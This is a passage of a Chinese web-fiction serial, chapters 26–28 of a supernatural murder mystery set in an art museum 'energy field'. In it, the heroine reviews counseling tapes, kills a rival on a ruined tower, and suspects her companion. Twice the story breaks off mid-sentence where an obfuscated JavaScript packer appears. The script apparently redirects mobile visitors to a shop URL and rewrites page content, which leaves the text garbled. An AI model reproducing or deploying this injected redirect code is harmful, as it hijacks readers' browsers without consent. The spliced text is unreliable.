李松宝眼泪在眼眶里直打转,嘟囔着:“和我有什么关系?她明明是被人杀害的,我又不是凶手……” 季小柔猛地拍了下桌子:“你这人怎么这样!” 贾衫壬赶忙拉住她:“好了好了,别说了,找到真正的凶手才行。” 一顿饭吃得很不安心,远处某个食堂窗口似乎也出了什么事,几个学生堵在过道里探头探脑。 几人无心吃饭,只匆匆扒拉了两口就各自离开了。只有温偌水将整盘饭菜一扫而空,没落下一粒米。 “接下来要做什么?”顾随之递出纸巾给温偌水擦嘴,问。 “你们俩去打听一下有关刘禾的信息,我去找找别的线索。”她擦了擦嘴,道,“别落单。” 顾随之点了点头,他相信温偌水能保护好自己。分开时,顾随之说:“温温姐,晚上见。” 不知为何,温偌水感到顾随之似乎有些焦虑,于是她犹豫了半秒,也道:“晚上见。” . 今天天气不太好,天雾蒙蒙的,有些暗沉,像是洗颜料的笔筒水一样发灰发青。空气里水汽太多,顺着呼吸进入鼻腔,每吸一口气都感觉莫名刺疼。 南城大学里的建筑都是黑灰色的,看上去有些压抑。方方正正,看起来像是摞起来的棺材。 走进楼道里更觉得喘不过气来,拐角处卫生间内古怪氨气味混杂着拖地水的味道,永远拧不紧的水龙头滴着水,发出“滴答、滴答”的动静,偶有人突然拽动绳索,旱厕的第一排开始冲水,发出沉闷的轰鸣。 教学楼里每间教室都是两扇窗户一扇门,黑洞洞的,仿佛眼睛和嘴巴。 上课的预备铃响起,嘶哑嘲哳,最后几个尾音直接断了气。赶路的学生都行色匆匆,温偌水拦住一个问:“请问心理咨询室在哪里?” 学生蹙着眉:“心理咨询室?我们学校没有这玩意,你说的是学生会下设的那个心理气象部门吧?” 温偌水点了点头。 学生指了指对面那栋黑灰色的矮楼:“在那栋楼的三楼,318室,那是他们部门的活动室。” 温偌水道谢后直奔那栋楼。 那栋楼的整个三楼都是学生组织的活动教室,阴暗的走廊里摆满了塑料梅花。据说梅花曾是南城大学的标志,每年校庆时学校的道路上都会摆上这种塑料梅花充点节日氛围。这些矮小的梅花树上落满了灰尘,花瓣的颜色也已经近乎掉成白色。没有灯光的加持,长长的走道里尽是这般苍白的花树,看上去颇为诡异。 温偌水找到318室,敲了敲门,里面无人应。她拧了一下门把手发觉拧不开。看了眼劣质的木门,温偌水后退几步,将门撞了开来——薛笙可没颁布什么不能损坏校园内设施的规矩。 房间内弥漫着淡淡的霉味,墙角已经微微发黑。角落里堆满了杂物,一开门,灰尘漫天飞。看来,心理气象部门很少有人光顾。 温偌水在木柜里找到了心理咨询的录像带,上面整齐地标注着咨询时间和咨询人,温偌水很快找到了孙雁的那几份。 孙雁来过不止一次,根据记录显示,她从101年的年底开始就陆续来找贾衫壬咨询过,一直到她遇害的前一天,她都来过这里。 那为何贾衫壬看起来似乎对她一点也不熟悉? 温偌水找到一台录像带放映机,将扁扁的录像带塞了进去。很快,电视屏幕上就闪烁起来。 伴随着电流的声音,温偌水看到了一个面容姣好的姑娘,她就是孙雁。在她对面坐着的,就是年轻时候的贾衫壬,他戴着一副金丝框眼镜,脸上挂着和蔼的笑。 【老师,我最近一直失眠,状态很差……】 【说说看,发生了什么?】 一段杂音。 【我不知道该怎么办才好……我需要那笔钱。】 一段杂音。 【但是你需要做出取舍,你也知道学校里有些同学在说些什么吧?】 【可那些都不是真的!我不是那样的人!】 【老师知道,但是流言可畏,再这样下去流言只多不少。】 一段杂音。 【我不知道该怎么办了……】 温偌水皱着眉头,那些断断续续的杂音破坏了二人谈话的完整性,这让许多关键信息都变得模糊起来。看了眼周遭的环境,温偌水怀疑是录像带受潮了,她叹了口气,放入第二个录像带。 【最近你看起来气色不错?】 【嗯,因为我交到男朋友了。】 【这是好事,最近身体怎么说?】 【还不错,只是还是有点失眠……前段时间还有些幻听,不过最近好了些。】 【幻听?】 【嗯……就是感觉总听到有人在议论我……老师,您说是不是真的有人在背后偷偷议论我?我感觉那好像都是真的……】 【不要多想,那些只是因为你没有休息好才产生的幻觉而已,不要恶意揣测周围的同学。】 【哦……】 这段音频倒是还算完整,但是温偌水还是觉得哪里别扭。 第三段录像带。 【你怎么看起来又憔悴了很多?是不是那工作你还没有推掉?】 【对不起老师……我、我需要那笔钱……】 一段杂音。 【你知道外面的人是怎么说你的吗?】 【可我真的没做什么,我是清白的!这些钱都是我通过正规渠道一点点攒起来的……】 【可苍蝇不叮无缝的蛋,同学为什么只说你,不说其他人?】 【老师,您这是什么意思?】 一段杂音。 【总之,你得把那份工作辞了,不然在学校里影响不好。】 第四段录像带。 【老师,我好难受。】 【嗯,有什么事?】 【老师,您救救我……求求您了,救救我……】 【到底什么事?】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941960|134718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【我每天、我每天都能听到他们在骂我……吃饭的时候,上课的时候,洗澡的时候,睡觉的时候……他们都在骂我,说我是贱人,说我不检点……老师,我快疯了,救救我……】 【这些话你之前也说过。】 【怎么办老师,怎么办,我该怎么办?】 【我说过,你得把那个工作辞了。你不愿意辞,我也没有别的办法。】 【可是老师,我需要钱,我需要钱啊……】 【我接下来还要忙,没别的事你可以先走了。】 【……不好意思,打扰您了老师,工作的事……我会考虑的。】 看着电视屏幕上变得神经质、面容枯槁的孙雁,温偌水大概知道了些什么。 流言杀人,而作为老师的贾衫壬非但没能提供任何帮助,反而还在孙雁身上插了一刀。 温偌水收起几份录像带,重新塞回柜子里。随后,她找到了标注着刘禾名字的录像带,但是那只剩一个空壳,里面的录像带不翼而飞了。 温偌水皱了皱眉。 窗外,一道光洒进来,恰巧照亮标签上的“刘禾”二字。 温偌水将空壳塞回原处,刚关上柜子的门,心理气象室的门外就传来了脚步声。随后,门被人打开了。 温偌水和何昕存大眼对小眼。 何昕存看见屋内的人是温偌水,觉得有些晦气地翻了个白眼:“怎么哪哪都有你?” 温偌水懒得同她置喙,径直向门外走去。 还没走出门,何昕存便做作大叫道:“哎呀,刘禾的录像带怎么是空的?是不是被你藏起来了?” 温偌水转过身,冷冷地看着她:“这里是贾衫壬的办公室。”言下之意为,要是有人要藏录像带,也应该是贾衫壬藏,而不是她温偌水。 何昕存:“可我就只看见你进来了!” 她将那个空壳放进口袋里,说:“我要去告诉其他人,你私藏线索!” 说着,便踩着高跟鞋“噔噔噔”地向门走去。 “砰——”温偌水用脚后跟带上了门,将何昕存堵在了室内。 何昕存:“你想干什么?” “我发现你很迟钝。”温偌水微笑起来,那笑容让何昕存吓得抖了三抖,浑身都爬满了鸡皮疙瘩。 “什么意思?” “你还没认出来我。” 何昕存瞪大眼睛,仔仔细细地扫视过温偌水的脸:“你到底是谁?” 温偌水没说话,只是笑笑。 何昕存顿时怒火中烧,她抄起一边杂物堆里的美术刀,指着温偌水说:“贱人,我早就看你不爽了,我要去揭发你!你这个该死的凶手!人证物证俱在,你逃不掉的,今晚被钉死在柱子上的人就是你!” 窗外的光照在温偌水粉色的长发上,让她的脸看起来有些失真。 她嘴角的笑容渐淡,薄唇一抿:“我给过你机会了。” 何昕存拿着美术刀的手一抖:“什么?” 温偌水一步步逼近,一把抓住何昕存的手,硬生生将她的手腕掰折。就在何昕存即将痛得叫出声时,温偌水眼疾手快地抄起杂物堆里的脏抹布塞进了何昕存的嘴里。 在何昕存惊恐的瞳孔中,温偌水的脸逐渐放大—— “月黑风高夜,杀人放火天——” “想起我了吗?” 何昕存的双眼猛然睁大! 下一秒,温偌水注意到先前杂物堆抹布下的那面镜子一闪,天地旋转,二人皆被吸入了镜中! 26. 南城美术馆(九) 何昕存落在地上翻滚一周,头撞到了坚硬的石头,先前被沙谦涛推搡撞到的伤口再度迸裂,流出黏腻的血来。 她头发凌乱,手脚并用连滚带爬地起身,然后惊讶发现自己回到了102年——心理气象室杂物堆里的那面镜子是孙雁留在那的。 看着黑茫茫的树林和眼前的半座高塔,何昕存的求救声像是卡在了嗓子里,破旧的老木风箱般吱吱呀呀。 除了她俩以外,其他人都还停留在104年——没有人会回来救她。 突然,天边闪过一道亮白,惊得天地都褪成了白色。 何昕存猛然回头,看到了那道白蓦然照亮的温偌水的脸。 一双眼,冷漠无情,带着些戏谑,像是观赏滑稽马戏一样看向自己。 何昕存深吸一口气,猛地叫喊出声。 “轰隆——” 尖锐的叫喊声在吞噬一切的雷声中黯然失色,像是突然被按下静音键的录像带一样,变成了黑夜里惊悚的一出默剧。 暴雨落了下来,打得一切都噼里啪啦作响,刺入皮肤时生疼,像是钢炮似的。 何昕存在泥地里趔趄一下,然后跌跌撞撞往空地里唯一的建筑天文塔跑去。 身上的雨水和汗水混在一起,将高塔楼梯的水泥面滴答得满是水渍。何昕存沿着蜿蜒而上的旋转楼梯步履阑珊地向上爬着,她肺里的空气几乎都要挤压出来,嗓子里洇出血,胸腔烧灼地疼。 但她不能停下,因为她听见了紧随自己的脚步声—— “哒哒、哒哒——” 她几乎能闻到温偌水身上那股独特的气味,很淡很淡的木质冷香,有点像寺庙里的香火味,又有点像雨后清晨旷野中沾满露水的断桓。 但是不管是什么味道,在何昕存看来,都和死神镰刀上的残血味没什么区别。 突然,脚下出现一突兀的异物,何昕存直直向前跌去,膝盖在粗糙的水泥地上被蹭开一大块皮肉,血珠争先恐后从粉嫩的肉里溢出,很快,伤口就变成了一道血红的小渠。 前方已经没有路了,她若再往前,就会从断塔上坠落。看了眼变得无比渺小的大地,何昕存一个哆嗦,赶忙祈求道:“求求了,不要杀我,不要杀我!” 温偌水停住了脚步,她的头发尽数被雨水打湿,晶莹的水珠凝成一团,慢慢滴落。 何昕存拼尽全力站起身,伸出臂膀虚虚护在自己身前:“我想起来了,我想起来了,你是那个、那个……” 她眼泪鼻涕糊作一团,记忆里那个站在熊熊烈火里的黑影和眼前温偌水的身影重合在一起。 “你是谁?!”她记得自己曾经这么喊过。 那个黑影没有说话,只是将手里的火把向她丢了过来,她惊慌失措地逃开,然后便看见了火海吞噬了那个诡谲的身影。 她没死!她没死!!! 何昕存牙齿打着颤,看向眼前正在微笑的温偌水。 这个该死的女人,第一次毁了她的生意,第二次又想葬送她的人生! 不行,这不行! 何昕存大脑飞速运转。生意没了可以再做,小命没了那可真就没了!她不能折在这里,她得离开这个鬼地方!等回到现实世界,以她的人脉,想要弄死眼前这个贱人根本不在话下!到时候她会连本带利地讨回来,让温偌水生不如死! 她舔了舔嘴唇,脸上挂着伪善讨好的笑:“只要你放过我,我就当什么都不知道,我不会和他们说任何今天发生的事情,你想要投谁出局,我也可以帮你……” 温偌水歪了歪头,表情有些玩味,似乎觉得何昕存傻得可爱。 何昕存:“你要是喜欢那个毛头小子样的,我也可以提供给你,我认识很多不错的小omega,只要你想要,我都可以介绍给你!” 温偌水还是笑。 何昕存慌忙地掏起自己的口袋,从里面掏出数十张已经浸泡发烂的纸钞,塞进温偌水的手里:“钱!钱!我也有钱,你想要多少,只要放过我,出去后我都给你,都给你!” 看着手里的纸钞,温偌水有些发愣,嘴角的弧度也慢慢褪了下来。 何昕存以为这招起了作用,便掏出更多的钱塞进温偌水的手里。 钱,钱…… 汪莓死后,也给她留下了一笔钱。 . 呼吸尚未平复,看到那双悬空的脚时,温偌水突然觉得世界都安静了。 她双眼瞪得大大的,看着被风吹得飘飘晃晃的汪莓。 温偌水连忙把汪莓放了下来,伸手摸她的脉搏——安静得很,一点动静都没有,和平日里的汪莓判若两人。 汪莓死了。 这个世界从没有这么安静过。 但温偌水并没有觉得难受,她甚至觉得,汪莓总算可以解脱了,她不需要再为了妈妈的病或者自己的身份而发愁,至少天堂应该不会颁布等级制这么可笑的玩意。 温偌水叹了口气,替汪莓擦干净了嘴角溢出的唾沫。又替她换上了曾经最喜欢的红裙子和高跟鞋,给她抹了粉和口红,然后背着她出了门。 穷人家一般是没钱去做火化的,往往他们都会随便找块荒地,挖一挖,把人扔进去了事。但是温偌水想,汪莓是渴望自由的,如果肉.身还在,那就谈不上自由。而且她那么爱美,那么体面,肯定不能忍受自己被蛆虫爬满全身,不会想散发出难闻的臭味。于是温偌水花掉了自己最后一笔钱,将汪莓火化了,然后骑着摩托车开了几十公里,把汪莓的骨灰撒进了大海里。 那天晚上风很大,汪莓的骨灰一半进了海里,一半被风卷走,甚至有一小部分被风刮进了温偌水的嘴里。 汪莓总是这样,做事不看场合,生前这样,死后也是这样。 温偌水笑了笑。 处理完汪莓的骨灰,温偌水就回了家,她累得不想动弹,澡都没洗就直接倒在床上昏睡过去。 汪莓的离开无关痛痒。 温偌水照样吃吃喝喝,干活睡觉。日子似乎没什么两样,只不过安静了许多。 汪莓留下的许多东西温偌水都用不了,于是她开始尝试清理一些汪莓的遗物扔掉,她每天都清理掉一些,房子每天都会更空一些。 终于有一天,除了汪莓的铺盖以外,其他所有东西都被温偌水丢了出去。 房子干净整洁,不再有占满桌子的化妆品,油腻的外卖盒,挂满墙的花花绿绿裙子。 温偌水洗了个澡,然后钻进了被子里。 她以为把汪莓的一切都扔出去就会彻底把汪莓这个人从自己的生活里赶出去,但是没有想到,虽然汪莓存在的痕迹越来越少,但她的身影却越发挥之不去。 汪莓的离开像是盛夏里夜晚睡觉时身上的瘙痒,不管如何抓挠,即便是抓破了皮,它还是会隐现在皮肤底下,像是有小虫在啃咬,愈演愈烈,深入骨髓。 温偌水明明已经闭上了眼,但是眼前全是汪莓的身影。 她看到她在吃炒面,看到她在化妆,看到她倚着窗台看晚霞,看到她拿着那张身份证,笑得圆咕噜的眼睛弯成月牙。 温偌水睁开眼,起身,爬到了汪莓的上铺,躺下。 汪莓的枕头和铺盖要比温偌水的软很多,上面还残留着她的洗发水味,莓果味的,甜得发腻,现在要淡一些了。 “呀,你怎么一个人在这?身上……怎么都是伤?喂,你还好吗?别睡过去啊!喂!” 汪莓把温偌水捡回来时,就曾用自己的被子裹住她冻僵的身体。当时温偌水就闻到了汪莓被子上那股甜甜的莓果味。 现在汪莓的被子上也有这股熟悉的莓果味,只是它越来越淡了,温偌水觉得,只要时间够长,霉味会取代这最后的莓果味。 温偌水还是睡不着,她翻来覆去许久,然后在汪莓的枕头下摸到了一个信封。 这是汪莓留给温偌水最后的东西。 温偌水坐起身,打开灯,拆开信封,发现里面有十几张钱以及一封字迹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961347|134718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歪歪扭扭如同小学生的信,信里错别字许多,有些甚至还用了拼音替代。 【小十三,信丰里的qian留给你,你要好好吃饭,好好shui交,不要目害省qian,qian就是用来化的!我和西jie的纱面老板说好了,你天天去吃那个多一块的面,我让他多给你加几块肉。你要身体痒好,痒好才能干更多的是。爱你。】 汪莓的信读起来很是困难,但是温偌水还是翻来覆去读了好几遍。她将那十几张钱在手里搓了很久,甚至都有些微微发热了,最后才依依不舍地将它们塞回信封。 身上的瘙痒更明显了。 第二天,温偌水就带着信封去了西街的那家面店。老板已经认识她了,见她来了便问:“加一份肉的?” 温偌水点了点头。 过了一会,两份炒面出现在她面前。 “我……”我没有说要两份。 温偌水张了张嘴。 “之前小莓还来找我,说什么要往十三姑娘碗里多加几片肉,说得好像我以前亏待过你似的哈哈哈哈!”老板拍了拍脑袋,“小莓呢?这几天没见到她了。” 温偌水把到嘴的话咽了回去,她低声说:“她去她妈妈家了。” “啊呀,那我还做了两份……” “没事,我会吃完的。”温偌水拿出钱付款。 过了一会,老板面露难色地走过来,又把那张钱还给她,有些为难道:“十三姑娘,我们也都是熟悉人了,我知道你肯定不是有意的……” “怎么了?”温偌水觉得哪里不对劲。 老板指了指那张纸钞:“这是张假的。” 温偌水愣住,她把其他几张都拿了出来,让老板一一辨认。 “都是假的。”老板皱起眉头,关切问,“怎么回事,十三姑娘你是不是被人骗了?” 温偌水看着那些钱,回想起那天的纷纷扬扬,回想起管事人虚与委蛇的笑,回想起一群人在背后的嗤笑。 突然,温偌水没忍住,笑出了声来。 汪莓,你的人生可真是失败啊。 这该死的,惨淡的,懦弱的,人生。 . 温偌水回过神来,微微侧身躲开了何昕存的小偷袭。 何昕存没想到温偌水反应会这么快,明明她刚刚还在发呆! 何昕存咬了咬牙,闭上眼,胡乱挥着手里的碎玻璃。 她毫无章法的负隅顽抗在温偌水看来很是可笑。 雨下得越来越大,身上的瘙痒越来越盛。 温偌水不想继续陪何昕存玩下去了,她拧断了何昕存的另一只手,冷冷地,甚至带着些快意地,任由何昕存发出如何非人的嚎叫。 温偌水掰开何昕存的嘴,将手里泡到发烂的纸钞一张一张塞进了何昕存的嘴里。何昕存发出反胃的呕吐声和呜咽声,但是温偌水没有停下手里的动作,她将手里的纸钞一张不剩地全都塞进了何昕存的嘴里。 何昕存挣脱温偌水的束缚,躲到断塔边缘,将嘴里的东西尽数呕吐了出来。她双目赤红,满脸的泪水鼻涕口水都和雨水交杂在一起,看上去十分狼狈。 “咳咳……你和那个汪莓是什么关系?”何昕存问,“你为什么会为她做到这种程度?!” 温偌水扯了扯嘴角:“我们只是普通的舍友关系。” 何昕存瞪大眼睛:“别过来,你停下!你停下!” 温偌水又向前迈了一步。 何昕存抱住只剩一半的墙体,半个身子几乎都悬了空。 “只是普通舍友关系,你为什么要烧我的店?为什么要杀我?!” 为什么? 温偌水低垂着眼眸,看向瑟瑟发抖宛如鹌鹑的何昕存。 因为你在能量场里威胁到我了?因为你刚刚想刺杀我? 好像都不是。 温偌水想了想,然后无比认真地对何昕存一字一句道: “因为你,我没吃饱饭啊。” 27. 南城美术馆(十) 那两碗炒面,她最后还是没能吃到。 不仅仅是那两碗,后面的那几年里,为了还债,温偌水几乎就没吃过一顿好的。 何昕存没想到温偌水会给出这样的答案,整个人都懵了。 这时,一道白光炸响。 何昕存突然觉得身体有些麻痹,脚底似乎踩不到实处,整个人都失重起来。 她的眼前,蓦然出现大火熊熊,火舌贪婪地舔舐一切。 耳畔是雷声轰鸣,大雨倾盆。 黑色的影子,拿着镰刀的死神,和温偌水的身影重合。 高.塔.崩塌,乌云翻滚。 “下地狱去吧。” 这是何昕存听到的最后一句话。 随后,她便和一颗头颅四目相对。 . 顾随之打探完刘禾的消息后,便和季小柔一起找到了一面落地镜,听人说这面镜子是102年校庆时校友捐赠给学校的礼物。镜面上还贴着标注捐赠时间和捐赠人名称的红字。 从上一次穿越经历来看,顾随之猜测镜子是沟通时空的桥梁,那既然他们可以从102年穿越到104年,那也就能通过其他镜子从104年穿越回102年。 伸手触碰到镜面,便能看到里面画面的扭转颠倒。不出顾随之所料,下一秒他便和季小柔回到了102年的美术馆内。 外头的天已经完全黑了,雨打着窗户,发出噼里啪啦的响。 季小柔忙着回去料理破破烂烂的窗户,防止雨水打进屋子里。顾随之则在一楼等待尚未回来的温偌水。 时间一分一秒过去,其他几人纷纷找到镜子回到了这里,只有温偌水迟迟不见踪影。 突然,顾随之心中升腾起不太好的感觉,他连忙拿起一把雨伞,向门外跑去。 . 温偌水徐徐从天文楼上下来,夜雨寒凉,她觉得有些冷,但是头脸却微微有些发烫。 她看都没看何昕存对折的尸体,捡起了另一侧的头颅。 看着那张熟悉的脸,温偌水挑了下眉。 如果她没记错的话,美术馆内的时空是不会跟随时间变化而变化的,也就是说薛笙的尸体应该一直挂在柱子上才对,那为什么她的头会跑到这个鬼地方来? 正当她百思不得其解时,温偌水听到了身后窸窸窣窣的动静。她凝神屏气,转头看去,只见高大的雕像不知什么时候出现在了自己身后。从它身上的水痕来看,似乎已经站在那里很久了。 温偌水看着那尊雕像,问:“什么事?” 遇到这种恐怖情形还能心平气和发问的,温偌水乃第一人。 雕像指了指温偌水手中的头颅,将自己手里的天平伸了过去。温偌水见状,将手里的头颅放进了其中一个托盘中,天平瞬间发生了倾斜。 这时,天平另一侧的托盘中突然出现了一枚纪念币,那枚纪念币上画着一座崩塌的高塔。温偌水猜测那大概就是何昕存的纪念币了。 纪念币甫一出现,天平就慢慢转动,最后得以平衡。天平平衡后,雕像就没再多耽搁,它只是隔着一层纱,怪异地打量了温偌水几眼,随后以一种奇诡扭曲的姿势远远地跑开了。 温偌水脸上的热度逐渐散去,心率也慢慢恢复了正常,她抬手掸了掸头上的水雾,快步向美术馆的方向走去。 可还没走几步,她就听到一道熟悉的声音响起:“温温姐,你在这做什么?” 温偌水抬头,看见了打着伞的顾随之。天色有些暗,四下无光,顾随之的脸被伞投下的阴翳遮住小半,温偌水看不清他的眼睛。 听到顾随之的声音,温偌水下意识扭头向何昕存尸体所在的方向看去,可是雨幕越织越密,她的视线几乎被雨水糊住,什么也看不清。 尸体也许还在那,也许不在那。 温偌水收回视线,淡声问:“你来这做什么?” “外面下起了大雨,我怕你没带伞。”顾随之看了眼被淋透的温偌水,将伞向她那倾斜了些。 “走吧。”温偌水说。 两人并肩消失在雨幕里,又是一道炸白,断塔下的尸体消失得无影无踪,只留几缕烟霞似的血线负隅顽抗。 . 温偌水洗完澡,坐在床上擦头发。原本破损的窗户被顾随之用木板钉上了,虽然钉得有些歪歪扭扭,有损美观,某人还因此伤了根手指,但总算是不会往屋内飘雨了。 温偌水看着正在吹自己受伤手指的顾随之,又想起了当时胡权说的那句话“他没你想的那么简单”。 刚刚的事情,他到底看到了多少?他会不会说出去?温偌水并不知道,她只知道能量场里,人比鬼还恐怖。 她撩了下枕头,往枕头套里藏了一把晚上吃饭时用的餐刀。虽然餐刀并不锋利,但是温偌水确信自己可以在对方不使用异能的情况下一下捅穿他的大动脉。 对温偌水的想法毫不知情的顾随之突然打了个喷嚏,鼻涕像水晶吊坠一样挂了下来。 季小柔大惊小怪道:“爹!你怎么了!是不是感冒了!” 顾随之眼疾手快地拿纸擤鼻涕,摆了摆手:“应该不至于。” “咚,咚,咚。”门板发出沉闷的三声响,顾随之快步走上前开门。 门外站着的是李松宝,经历了中午的事情,她似乎对他人有些排斥,但是还是硬着头皮问:“请问你们看见何小姐了吗?” “没见过。”几乎是李松宝话音刚落,顾随之便答道。 “啊……下午也没见过她吗?” “没有。” 李松宝自言自语道:“好奇怪,这么晚了她去哪了?” 顾随之礼貌但又强制地掩上了门,只留一个小缝道:“我们要睡啦,晚安。” 李松宝醒过神来,木木地点了点头:“哦、哦,打扰了,晚安。” 随后,门就在她眼前关上了。 顾随之关上了门,季小柔一蹦一跳地过来问:“她刚刚问什么?” 顾随之推着她往里走:“没问什么,快睡觉吧,再不睡温温姐要把你丢出去了。” 季小柔吓得赶紧钻进了被子。 温偌水看了顾随之一眼,随后熄灯上床。 房间陷入黑暗,只有窗外的雨声噼里啪啦。雨声越是大,越是衬托出屋内的寂静。 约莫两个小时后,温偌水睁开了眼睛。 她还是觉得顾随之的言行举止很是可疑。从第一次见面就主动和自己套近乎,装作人畜无害的样子,但是面对危险时总是保持着野兽般的直觉,身为富家公子,但似乎却对贫民区的一切都了如指掌。 再加上今天发生的事情,刚刚顾随之和李松宝的对话显然透露出他知晓温偌水做了些什么,但为何不提,为何不揭露她? 温偌水不相信世界上存在百分百的信任,她不允许世界上有任何威胁到自己的人存在,即便顾随之还 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温偌水拿刀的手急刹悬停,刀尖距离顾随之尚在跳动的颈动脉仅不到半厘米。 这句话,她好像在哪里听过。 不对,不是“好像”。温偌水确定在被封存的模糊记忆里,曾经有人和她说过一模一样的话。 . 顾随之又做噩梦了,这个噩梦在他从那个该死的地方逃离后至今每天都反复上演。 他从梦里惊醒时差点再度滚落在地,他手忙脚乱地抓住椅子稳住身形,担心沉闷的响声会扰乱温偌水的美梦。 眼泪又糊了满脸。顾随之觉得有些丢脸,他擦干了泪,觉得嘴唇一片干涩,但是他不想再下楼找水,害怕再遇到昨天那可怖的场面。 他坐在椅子上看向窗外,有几滴雨从木板的缝隙里漏了出来,他赶忙走上前,将自己掉落的床单重新勾到了铁钉上。 屋内的光黯淡了。 他在窗边站了许久,然后蹑手蹑脚地走到温偌水的床边,他并没有注意到温偌水忽然屏住的呼吸,只是蹲下身,用额头贴着她的手,轻轻蹭了蹭。 “你说过你会救我的,对吗?” 他几乎是气音地说道。 似乎是感受到了温偌水手上的温度,顾随之心中的噩梦阴翳消散了些,他并没有过多停留,再度回到自己的小板凳上,抱着枕头睡着了。 他离开后,黑暗中的温偌水睁开眼来,伸进枕头下握着刀的手也放松了下来。 直觉告诉温偌水,顾随之知道自己的过去,并且二人之间似乎还有什么未了的约定。 对于温偌水来说,过去的记忆可有可无,但是自打第一次进场后,她总是能在角落里看见那个面目模糊的小女孩。她无比好奇,想要知道那个小女孩是谁,她究竟和自己有什么关系。 所以,顾随之是个很不错的切入口,兴许可以从他那里打探到有关自己过去的事情。 但是温偌水还是不能断定顾随之的真实想法,因此也不敢掉以轻心。 如果他的纯良和友善不是装的,那就早好不过。 可如果那只是他的伪装,他接近自己是另有所图的话,那温偌水会毫不留情地割断他的喉管。 这么想着,温偌水捏紧了手里的餐刀。 窗外的雨更大了些,彻底吞噬了天地间的一切喧嚣。 28. 南城美术馆(十一) 早更上,房门再度被人敲响,打开房门一看,外头站的人依旧是李松宝。 和昨夜的胆怯疏离不同,今天的她看起来十分焦虑。 “请问你们昨晚上看到何小姐了吗?” “没有。”顾随之道。 “那、那有没有听见她回来的动静?” “没有,我们昨晚睡得很死,什么奇怪的动静都没有发觉。”顾随之说。 李松宝不安地抠弄手指,淡淡的血色从指甲缝里溢了出来。 何昕存彻夜未归,李松宝又不敢出门找她。她自己还是个新手,完全不知如何应对这凶险的能量场,再加之她昨天暴露了传播绯闻的秘密,保不齐有人拿她开刀。 李松宝虽然胆小,但她不是个傻子。易醉阳的死以及那枚展品名牌足以说明什么,在能量场里要是不留足心眼,一定会成为老手通关的垫脚石的。 昨天夜雨打墙,听起来像极了第一夜时鬼手破窗的声音,李松宝煎熬了许久,她几乎断定何昕存已经凶多吉少了,而她决不能在这里单打独斗,她需要找到同盟。 于是,思考了一夜后,她决定投靠目前看起来最没嫌疑的三人组。 “我承认那些流言都是我散布的,但是除了这个以外我真的没有做其他伤天害理的事情。”李松宝泪眼巴巴说道。 顾随之有些惊讶于她居然会向他们坦诚,迟疑了半秒后侧身让她进了屋子。 “你们一定要相信我,我真的不是凶手!”李松宝一边说着,一边激动得浑身颤抖。 显然,三人组并不会轻易相信能量场里别人的话。 李松宝看出了他们的怀疑,语无伦次道:“真的!我、我也不是故意传他们的绯闻的,只是、只是……”她咽了咽口水,“学姐和他们走得太近了,他们很危险……学校那段时间老有人失踪,好多人说是被那种社会混混带走之后就再也没有回来……我害怕他们把学姐也给骗走,所以才……” “学姐?”正在擦脸的温偌水手顿住,这几天“学姐”这个词出现的频率未免有些太高了,薛笙提到过,104年的女学生提到过,这里李松宝也提到了。 “啊……那尊审判女神像就是我学姐的作品。” “你学姐和薛笙的学姐是同一个人?” 李松宝艰涩地点了点头:“应该是,但是我以前上学的时候从来不知道有薛笙这个人。” 这一点上李松宝倒是没撒谎,因为她第一次见到薛笙时表情十分茫然,显然并不认识薛笙,直到薛笙说雕像是她学姐的作品时李松宝才有了异样的神情。 “哎呀,我学姐不是什么重点,重点是我根本没有杀他们!我是无辜的!”李松宝活像热锅上的蚂蚁,急于自证自己的清白。 就在这时,门外有人敲门,李松宝吓得浑身一抖,有些惊恐地看向门的方向。 温偌水瞥了她一眼,径直开门。 门外季杜鑫表情淡漠地说道:“吃早饭了。” 美术馆的餐厅就在二楼的最里面,其余的几人已经在那恭候多时了。他们表情各异,心怀鬼胎,估计是昨天搜查到了不同的情报全都捏在手里,没有轻易放出来。 饭席间暗流涌动,只有温偌水三人组吃得热火朝天,温偌水埋头苦吃,顾随之给温偌水夹菜,季小柔抢顾随之碗里的菜,三个人与其他人格格不入,荒诞味十足。 吃完饭,众人惯例下楼查看,这次大家都做好了心理准备,因此看到何昕存的尸体时已经不再会大惊小怪了。 只是何昕存的死样太过怪诞扭曲,她面部朝上,身体几乎对折,一小截脊骨从对折处贯穿出来,扎破皮肉,明晃晃地展露着。四肢像是断线的木偶一样瘫软,扭曲成活人无法做到的姿势。后脚跟垫着后脑勺,像是贴心地给自己准备了枕头。她身上黏腻着已经干涸掉渣的泥土块,几乎看不清原来皮肤的颜色。双眼圆睁,满脸惊恐,像是看到了什么悚人的东西。其中一颗眼球不翼而飞,黑红的眼洞里填塞着一枚圆圆的纪念币。 展品名牌戏谑地插在何昕存的眉心,金属的一角深入皮肉。上头写着“高塔的倒塌”几字。 兴许是因为何昕存的死相太过凄惨狰狞,又或许是看到她的死亡产生一种兔死狐悲之感,李松宝忍不住地呕吐起来,几乎将刚刚没吃多少的早饭尽数吐了出来。 顾随之只是淡淡看了尸体一眼,然后扭过头眼不见为净。 “昨晚死的人怎么会是她?”贾衫壬有些惊奇道,“你们昨天有人觉得她是杀人凶手吗?” 众人都摇了摇头,何昕存疯是疯了点,但是指向她的线索太少了些,不至于把最大嫌疑人安在她头上。既然如此,为何她会突然暴毙? 难不成,能量场里的死亡条件不止一个? 